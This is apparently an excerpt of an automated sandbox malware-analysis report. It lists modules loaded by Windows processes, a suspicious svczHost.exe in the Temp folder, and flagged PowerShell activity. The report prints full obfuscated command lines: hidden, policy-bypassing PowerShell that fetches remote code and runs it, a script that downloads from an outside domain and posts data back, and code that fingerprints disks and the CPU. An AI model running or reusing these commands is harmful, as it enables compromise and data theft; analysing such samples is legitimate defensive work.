            Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: bcd.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: cabinet.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: storageusage.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: edgegdi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wscsvc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: vbsapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: securitycenterbroker.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: amsi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: edgegdi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: aphostservice.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: networkhelper.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: userdataplatformhelperutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mccspal.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: syncutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: syncutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: vaultcli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dmcfgutils.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wintypes.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dmcmnutils.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dmxmlhelputils.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: inproclogger.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: windows.networking.connectivity.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: synccontroller.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: pimstore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: aphostclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: accountaccessor.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dsclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: systemeventsbrokerclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: userdatalanguageutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mccsengineshared.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: pimstore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: cemapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: userdatatypehelperutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: phoneutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: apphelp.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: ncrypt.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: ntasn1.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: edgegdi.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: icu.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: winhttp.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: dhcpcsvc6.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: dhcpcsvc.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: ondemandconnroutehelper.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: mswsock.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: wshunix.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: dnsapi.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: winrnr.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: nlaapi.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: wshbth.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: devobj.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: pnrpnsp.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: napinsp.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: cryptsp.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: rsaenh.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: cryptbase.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: ntmarta.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: winnsi.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: sspicli.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: schannel.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: mskeyprotect.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: ncryptsslp.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: msasn1.dll
            Source: C:\Windows\Temp\svczHost.exeSection loaded: gpapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: xmllite.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\System32\systeminfo.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
            Source: C:\Windows\Temp\rdp.exeFile written: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\rdpwrap[1].ini
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
            Source: 4YgQ2xN41W.lnkStatic file information: File size 17825792 > 1048576
            Source: Binary string: ll\mscorlib.pdbNAME8 source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: ws\mscorlib.pdbpdb source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: rdpclip.pdbH source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: n.pdb source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: rdpclip.pdbJ source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: l\System.pdbb source: powershell.exe, 0000000B.00000002.1899513032.000001E7783E0000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: RfxVmt.pdb source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: rdpclip.pdb source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: omation.pdb source: powershell.exe, 0000000B.00000002.1900105818.000001E778441000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: RfxVmt.pdbGCTL source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: t.Automation.pdb\Wi source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp

            Data Obfuscation

            barindex
            Found suspicious powershell code related to unpacking or dynamic code loading
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String("UnBjM0JzWVhsT1lXMWxJQzFsY1NBaVYybHVaRzkzY3lCRVpXWmxibVJsY2lJZ2ZRMEtEUW9qSUVOb1pXTnJJR2xtSUdGdWVTQnZkR2hsY2lCaGJuUnBkbWx5ZFhNZ2MyOW1kSGRoY21VZ2FYTWdhVzV6ZEdGc2JHVmtEUW9rYjNSb1pYSkJibl
            Obfuscated command line found
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit
            PowerShell case anomaly found
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" Jump to behavior
            Suspicious powershell command line found
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgA